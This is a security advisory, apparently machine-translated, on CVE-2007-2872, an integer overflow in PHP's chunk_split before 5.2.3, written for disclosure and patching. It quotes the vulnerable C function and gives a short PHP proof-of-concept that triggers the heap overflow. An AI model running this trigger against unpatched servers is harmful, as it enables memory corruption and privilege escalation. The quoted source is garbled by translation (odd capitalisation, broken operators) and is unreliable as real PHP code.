Affected Systems:
PHP php < 5.2.3
Non-affected system:
PHP php 5.2.3
Describe:
--------------------------------------------------------------------------------
Bugtraq id:24261
CVE (CAN) id:cve-2007-2872
PHP is a popular Web server-side programming language.
The Chunk_split function in PHP has an integer overflow vulnerability when dealing with malformed parameters, and a local attacker could exploit this vulnerability to elevate their privileges.
The 1963 rows of the Chunk_split function in PHP attempt to allocate sufficient memory size for the function results, but the Srclen and Chunklen parameter blocks are used without any checks. If the value blocks and Endlen are greater than 65534 bytes, an integer overflow is triggered, allocating the wrong memory size, causing the heap to overflow.
EXT/STANDARD/STRING.C:
1953 Static Char *php_chunk_split (char *src, int srclen, char *end,
int Endlen, int chunklen, int *destlen)
1954 {
1955 Char *dest;
1956 Char *p, *q;
1957 int chunks; /* Complete chunks! */
1958 int Restlen;
1959
1960 chunks = Srclen/chunklen;
1961 Restlen = Srclen-chunks * Chunklen; /* Srclen% Chunklen */
1962
1963 Dest = Safe_emalloc ((Srclen + (chunks + 1) * Endlen + 1),
sizeof (char), 0);
1964
1965 for (p = src, q = dest; p < (src + srclen-chunklen + 1);) {
1966 memcpy (Q, p, Chunklen);
1967 Q + = Chunklen;
1968 memcpy (q, End, Endlen);
1969 Q + = Endlen;
1970 p + = Chunklen;
1971}
<* Source: Gerhard Wagner
Links: http://marc.info/?l=bugtraq&m=118071054000708&w=2
http://www.php.net/releases/5_2_3.php
http://secunia.com/advisories/25456/
*>
Test method:
--------------------------------------------------------------------------------
Warning
The following procedures (methods) may be offensive, for security research and teaching purposes only. Users are at their own risk!
$a =str_repeat ("a", 65535);
$b = 1;
$c =str_repeat ("A", 65535);
Chunk_split ($a, $b, $c);
?>
Suggestions:
--------------------------------------------------------------------------------
Vendor Patches:
Php
---
Now that the manufacturer has released an upgrade patch to fix this security issue, please download it from the manufacturer's homepage:
Http://www.php.net/downloads.php#v5
Article from: Green Alliance Technology
The above describes the split function PHP52 under the Chunk_split function integer Overflow vulnerability analysis, including the split function aspects, I hope to be interested in PHP tutorial friends helpful.
